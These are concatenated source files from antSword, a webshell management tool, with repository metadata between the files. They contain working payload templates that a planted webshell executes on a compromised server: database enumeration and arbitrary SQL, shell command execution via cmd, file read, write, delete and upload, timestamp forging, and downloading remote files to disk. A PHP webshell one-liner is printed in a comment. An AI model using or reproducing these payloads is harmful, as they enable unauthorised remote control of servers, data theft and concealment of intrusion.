$sql=[System.String]::Format('SHOW TABLES FROM {0}', $dbname);
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
//
show_columns: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$table=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::table}'));
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.String]::Format('SHOW COLUMNS FROM {0}.{1}', $dbname, $table);
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0} ({1}){2}',$reader.GetString(0), $reader.GetString(1),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// SQL
query: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$TRUE;
$columnsep=[System.String]::Format('{0}|{1}',[char]9,[char]9);
$rowsep=[System.String]::Format('{0}{1}',[char]10,[char]13);
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::sql}'));
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
if(($reader.HasRows -eq $FALSE) -and ($reader.VisibleFieldCount -eq 0)) {
$sb.AppendFormat('Affect Rows{0}{1}{2}{3}{4}',$columnsep, $rowsep,[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.RecordsAffected)),$columnsep, $rowsep)|Out-Null;
return $sb.ToString();
}
if($needcolumnname) {
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',$reader.GetName($i),$columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
while($reader.Read()){
for($i=0; $i -lt $reader.FieldCount; $i++){
if($reader.IsDBNull($i)){
$sb.AppendFormat('TlVMTA=={0}', $columnsep)|Out-Null;
}else{
$sb.AppendFormat('{0}{1}',[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.GetValue($i).ToString())), $columnsep)|Out-Null;
}
}
$sb.Append($rowsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
}
})
``` | /content/code_sandbox/source/core/pswindows/template/database/mysql_odbc.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,217 |
```javascript
/**
* ::sqlserver odbc
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.SqlClient.SqlConnection($connstr);
$sql='SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1';
$command = New-Object System.Data.SqlClient.SqlCommand($sql, $conn);
$conn.Open();
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
//
show_tables: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.SqlClient.SqlConnection($connstr);
$sql="SELECT [name] FROM sysobjects WHERE xtype='U' ORDER BY 1";
$command = New-Object System.Data.SqlClient.SqlCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
//
show_columns: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$table=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::table}'));
$columnsep=[char]9;
$conn=New-Object System.Data.SqlClient.SqlConnection($connstr);
$sql=[System.String]::Format("select b.name,c.name,c.length from sysobjects a,syscolumns b,systypes c where a.id=b.id and b.xtype=c.xtype and a.name='{0}'", $table);
$command = New-Object System.Data.SqlClient.SqlCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0} ({1}){2}',$reader.GetString(0), $reader.GetString(1),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// SQL
query: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$TRUE;
$columnsep=[System.String]::Format('{0}|{1}',[char]9,[char]9);
$rowsep=[System.String]::Format('{0}{1}',[char]10,[char]13);
$conn=New-Object System.Data.SqlClient.SqlConnection($connstr);
$sql=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::sql}'));
$command = New-Object System.Data.SqlClient.SqlCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
if(($reader.HasRows -eq $FALSE) -and ($reader.VisibleFieldCount -eq 0)) {
$sb.AppendFormat('Affect Rows{0}{1}{2}{3}{4}',$columnsep, $rowsep,[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.RecordsAffected)),$columnsep, $rowsep)|Out-Null;
return $sb.ToString();
}
if($needcolumnname) {
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',$reader.GetName($i),$columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
while($reader.Read()){
for($i=0; $i -lt $reader.FieldCount; $i++){
if($reader.IsDBNull($i)){
$sb.AppendFormat('TlVMTA=={0}', $columnsep)|Out-Null;
}else{
$sb.AppendFormat('{0}{1}',[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.GetValue($i).ToString())), $columnsep)|Out-Null;
}
}
$sb.Append($rowsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
}
})
``` | /content/code_sandbox/source/core/pswindows/template/database/sqlserver_sqlclient.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,258 |
```javascript
'use strict';
/**
* webshell eg:
<?php system(base64_decode($_POST['ant']));?>
*/
module.exports = (pwd, data, ext = null) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
``` | /content/code_sandbox/source/core/pswindows/encoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 63 |
```javascript
/**
* ASPX
* 2016/04/12
* -
* <path_to_url
*
* : 2016/04/23
* - aspx
* Medici.Yan <path_to_url
*/
'use strict';
// import Base from '../base';
const Base = require('../base');
class ASPX extends Base {
constructor(opts) {
super(opts);
//
[
'base',
'command',
'filemanager',
'database/dsn',
'database/mysql',
'database/access',
'database/oracle',
'database/sqlserver',
'database/sqloledb_1',
'database/sqloledb_1_sspi',
'database/microsoft_jet_oledb_4_0'
].map((_) => {
this.parseTemplate(`./aspx/template/${_}`);
});
//
this
.encoders
.map((_) => {
this.parseEncoder(`./aspx/encoder/${_}`);
});
this
.decoders
.map((_) => {
this.parseDecoder(`./aspx/decoder/${_}`);
});
}
/**
*
* @return {array}
*/
get encoders() {
return ["base64", "hex", "url_unicode"];
}
get decoders() {
return ["default"];
}
/**
* HTTP
* @param {Object} data
* @return {Promise} Promise
*/
complete(data, force_default = false) {
//
let tag_s, tag_e;
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tags']) {
tag_s = this.__opts__['otherConf']['custom-datatag-tags'];
} else {
tag_s = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "->|";
}
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tage']) {
tag_e = this.__opts__['otherConf']['custom-datatag-tage'];
} else {
tag_e = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "|<-";
}
// let formatter = new this.format(this.__opts__['encode']);
let formatter = Base
.prototype
.format(this.__opts__);
let aspxencode = this.__opts__['encode'];
switch (this.__opts__['encode']) {
case "UTF8":
aspxencode = "UTF-8";
break;
default:
break;
}
// GetEncoding("!{ANT::ENDOCE}").GetString tag
data['_'] = data['_'].replace(/!{ANT::ENDOCE}/g, aspxencode);
// base64
let base64Code = formatter['base64'](data['_']);
data['_'] = `Response.Write("${tag_s.substr(0,tag_s.length/2)}"+"${tag_s.substr(tag_s.length/2)}");var err:Exception;try{eval(System.Text.Encoding.GetEncoding("${aspxencode}").GetString(System.Convert.FromBase64String("${base64Code}")),"unsafe");}catch(err){Response.Write("ERROR:// "+err.message);}Response.Write("${tag_e.substr(0,tag_e.length/2)}"+"${tag_e.substr(tag_e.length/2)}");Response.End();`;
//
return this.encodeComplete(tag_s, tag_e, data);
}
}
module.exports = ASPX;
``` | /content/code_sandbox/source/core/aspx/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 852 |
```javascript
/**
* aspx::default
*/
'use strict';
module.exports = {
asoutput: () => {
return ``.replace(/\n\s+/g, '');
},
decode_buff: (buff) => {
return buff;
}
}
``` | /content/code_sandbox/source/core/aspx/decoder/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 53 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: `var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#))));
var e=new System.Diagnostics.Process();
var out:System.IO.StreamReader,EI:System.IO.StreamReader;
c.UseShellExecute=false;
c.RedirectStandardOutput=true;
c.RedirectStandardError=true;
e.StartInfo=c;
c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"].substr(#randomPrefix#)));
if(Request.Item["${arg3}"].substr(#randomPrefix#)) {
var envstr = System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg3}"].substr(#randomPrefix#)));
var envarr = envstr.split("|||asline|||");
var i;
for (var i in envarr) {
var ss = envarr[i].split("|||askey|||");
if (ss.length != 2) {
continue;
}
c.EnvironmentVariables.Add(ss[0],ss[1]);
}
}
e.Start();
out=e.StandardOutput;
EI=e.StandardError;
e.Close();
Response.Write(out.ReadToEnd() + EI.ReadToEnd());`.replace(/\n\s+/g, ''),
[arg1]: "#{newbase64::bin}",
[arg2]: "#{newbase64::cmd}",
[arg3]: "#{newbase64::env}"
},
listcmd: {
_: `var binarr=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));
var ss=binarr.split(",");
var i;
for(var i in ss){
Response.Write(ss[i]+"\\t"+(System.IO.File.Exists(ss[i])?1:0)+"\\n");
}`.replace(/\n\s+/g, ''),
[arg1]: "#{newbase64::binarr}"
}
})
``` | /content/code_sandbox/source/core/aspx/template/command.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 494 |
```javascript
/**
* ::sqlserver odbc
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql='SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1';
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
//
show_tables: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql="SELECT [name] FROM sysobjects WHERE xtype='U' ORDER BY 1";
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
//
show_columns: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$table=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::table}'));
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.String]::Format("select b.name,c.name,c.length from sysobjects a,syscolumns b,systypes c where a.id=b.id and b.xtype=c.xtype and a.name='{0}'", $table);
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0} ({1}){2}',$reader.GetString(0), $reader.GetString(1),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// SQL
query: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$TRUE;
$columnsep=[System.String]::Format('{0}|{1}',[char]9,[char]9);
$rowsep=[System.String]::Format('{0}{1}',[char]10,[char]13);
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::sql}'));
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
if(($reader.HasRows -eq $FALSE) -and ($reader.VisibleFieldCount -eq 0)) {
$sb.AppendFormat('Affect Rows{0}{1}{2}{3}{4}',$columnsep, $rowsep,[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.RecordsAffected)),$columnsep, $rowsep)|Out-Null;
return $sb.ToString();
}
if($needcolumnname) {
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',$reader.GetName($i),$columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
while($reader.Read()){
for($i=0; $i -lt $reader.FieldCount; $i++){
if($reader.IsDBNull($i)){
$sb.AppendFormat('TlVMTA=={0}', $columnsep)|Out-Null;
}else{
$sb.AppendFormat('{0}{1}',[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.GetValue($i).ToString())), $columnsep)|Out-Null;
}
}
$sb.Append($rowsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
}
})
``` | /content/code_sandbox/source/core/pswindows/template/database/sqlserver_odbc.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,274 |
```javascript
/**
*
* ?
*/
module.exports = () => ({
info: {
_: `var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(".")+"\t");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");Response.Write("\t"+Environment.OSVersion+"\t");Response.Write(Environment.UserName);`
},
probedb: { //
_: `function fe(S:String){try{new ActiveXObject(S);return 1;}catch(Exception){return 0;}};
var n="Adodb.Connection|Adodb.RecordSet";
n=n.Split("|");
for(var i=0;i<n.length;i++)Response.Write(n[i]+"\\t"+fe(n[i])+"\\n");
`.replace(/\n\s+/g, '')
}
})
``` | /content/code_sandbox/source/core/aspx/template/base.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 175 |
```javascript
/**
* ASPX::oracle
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `var Conn=new ActiveXObject("Adodb.connection");
Conn.ConnectionTimeout=10;
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open("SELECT USERNAME FROM ALL_USERS ORDER BY 1",Conn,1,1);
while(!Rs.EOF && !Rs.BOF){
Response.Write(Rs.Fields(0).Value+"\\t");
Rs.MoveNext();
}
Rs.Close();
Conn.Close();`.replace(/\n\s+/g, ''),
// Provider=OraOLEDB.Oracle;Data Source=test;User Id=sys;Password=;Persist
// Security Info=True;
[arg1]: '#{base64::conn}'
},
//
show_tables: {
_: `var Conn=new ActiveXObject("Adodb.connection");
Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
Conn.ConnectionTimeout=10;
Conn.Open();
var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open("SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='"+Request.Item["${arg2}"]+"' ORDER BY 1)",Conn,1,1);
while(!Rs.EOF && !Rs.BOF){
Response.Write(Rs.Fields(0).Value+"\\t");
Rs.MoveNext();
}
Rs.Close();
Conn.Close();`.replace(/\n\s+/g, ''),
[arg1]: '#{base64::conn}',
[arg2]: '#{dbname}'
},
//
show_columns: {
_: `var Conn=new ActiveXObject("Adodb.connection");
Conn.ConnectionTimeout=10;
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);
var CO:String="\\t";
var i:Int32=Rs.Fields.Count,c:Int32;
while(!Rs.EOF && !Rs.BOF){
Response.Write(Rs.Fields(0).Value+" ("+Rs.Fields(1).Value+"("+Rs.Fields(2).Value+"))");
Response.Write(CO);
Rs.MoveNext();
}
Rs.Close();
Conn.Close();`.replace(/\n\s+/g, ''),
[arg1]: '#{base64::conn}',
// SELECT * FROM ${db}.${table} WHERE ROWNUM=0
[arg2]: '#{base64::table}' // sql
},
// SQL
query: {
_: `var Conn=new ActiveXObject("Adodb.connection");
var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));
Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
Conn.ConnectionTimeout=10;
Conn.Open();
var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;
var Rs=Conn.Execute(strSQL);
var i:Int32=Rs.Fields.Count,c:Int32;
for(c=0;c<i;c++){
Response.Write(Rs.Fields(c).Name+CO);
}
Response.Write(RN);
while(!Rs.EOF && !Rs.BOF){
for(c=0;c<i;c++){
Dat=Rs.Fields(c).Value;
Response.Write(Dat);
Response.Write(CO);
}
Response.Write(RN);
Rs.MoveNext();
}
Conn.Close();`.replace(/\n\s+/g, ''),
[arg1]: '#{base64::conn}',
// SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A ORDER BY 1) WHERE N>0 AND
// N<=20
[arg2]: '#{base64::sql}',
[arg3]: '#{dbname}'
}
})
``` | /content/code_sandbox/source/core/aspx/template/database/oracle.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 957 |
```javascript
//
// ASPX::mysql
//
module.exports = require('./default');
``` | /content/code_sandbox/source/core/aspx/template/database/mysql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 18 |
```javascript
//
// ASPX::microsoft_jet_oledb_4_0
//
module.exports = require('./access');
``` | /content/code_sandbox/source/core/aspx/template/database/microsoft_jet_oledb_4_0.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 25 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: `var D=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));var m=new System.IO.DirectoryInfo(D);var s=m.GetDirectories();var P:String;var i;function T(p:String):String{return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss");}for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"/\\t"+T(P)+"\\t0\\t"+(s[i].Attributes)+"\\n");}s=m.GetFiles();for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"\\t"+T(P)+"\\t"+s[i].Length+"\\t"+(s[i].Attributes)+"\\n");}`,
[arg1]: "#{newbase64::path}"
},
delete: {
_: `var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));if(System.IO.Directory.Exists(P)){System.IO.Directory.Delete(P,true);}else{System.IO.File.Delete(P);}Response.Write("1");`,
[arg1]: "#{newbase64::path}"
},
create_file: {
_: `var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));var m=new System.IO.StreamWriter(P,false,Encoding.Default);m.Write(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"].substr(#randomPrefix#))));m.Close();Response.Write("1");`,
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::content}"
},
read_file: {
_: `var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));var m=new System.IO.StreamReader(P,Encoding.Default);Response.Write(m.ReadToEnd());m.Close();`,
[arg1]: "#{newbase64::path}"
},
copy: {
_: `var S=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));var D=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"].substr(#randomPrefix#)));function cp(S:String,D:String){if(System.IO.Directory.Exists(S)){var m=new System.IO.DirectoryInfo(S);var i;var f=m.GetFiles();var d=m.GetDirectories();System.IO.Directory.CreateDirectory(D);for (i in f)System.IO.File.Copy(S+"\\\\"+f[i].Name,D+"\\\\"+f[i].Name);for (i in d)cp(S+"\\\\"+d[i].Name,D+"\\\\"+d[i].Name);}else{System.IO.File.Copy(S,D);}}cp(S,D);Response.Write("1");`,
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::target}"
},
download_file: {
_: `Response.WriteFile(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#))));`,
[arg1]: "#{newbase64::path}"
},
upload_file: {
_:
// `var
// P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.C
// onvert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));var
// Z:String=Request.Item["${arg2}"].substr(#randomPrefix#);var B:byte[]=new byte[Z.Length/2];for(var
// i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var
// fs:System.IO.FileStream=new
// System.IO.FileStream(P,System.IO.FileMode.Create);fs.Write(B,0,B.Length);fs.Cl
// ose();Response.Write("1");`, Create->Append
`var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));var Z:String=Request.Item["${arg2}"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Append);fs.Write(B,0,B.Length);fs.Close();Response.Write("1");`,
[arg1]: "#{newbase64::path}",
[arg2]: "#{buffer::content}"
},
rename: {
_: `var src=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#))),dst=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"].substr(#randomPrefix#)));if (System.IO.Directory.Exists(src)){System.IO.Directory.Move(src,dst);}else{System.IO.File.Move(src,dst);}Response.Write("1");`,
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::name}"
},
retime: {
_: `var DD=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#))),TM=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"].substr(#randomPrefix#)));if(System.IO.Directory.Exists(DD)){System.IO.Directory.SetCreationTime(DD,TM);System.IO.Directory.SetLastWriteTime(DD,TM);System.IO.Directory.SetLastAccessTime(DD,TM);}else{System.IO.File.SetCreationTime(DD,TM);System.IO.File.SetLastWriteTime(DD,TM);System.IO.File.SetLastAccessTime(DD,TM);}Response.Write("1");`,
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::time}"
},
mkdir: {
_: `var D=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));System.IO.Directory.CreateDirectory(D);Response.Write("1");`,
[arg1]: "#{newbase64::path}"
},
wget: {
_: `var X=new ActiveXObject("Microsoft.XMLHTTP");var S=new ActiveXObject("Adodb.Stream");S.Type=1;S.Mode=3;S.Open();X.Open("GET",System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#))),false);X.Send();S.Write(X.ResponseBody);S.Position=0;S.SaveToFile(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"].substr(#randomPrefix#))),2);S.close;S=null;X=null;Response.Write("1");`,
[arg1]: "#{newbase64::url}",
[arg2]: "#{newbase64::path}"
},
filehash: {
_: ``.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::path}',
},
})
``` | /content/code_sandbox/source/core/aspx/template/filemanager.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,754 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write("[ADO DATABASE]\\t");Conn.Close();`,
[arg1]: '#{base64::conn}'
},
//
show_tables: {
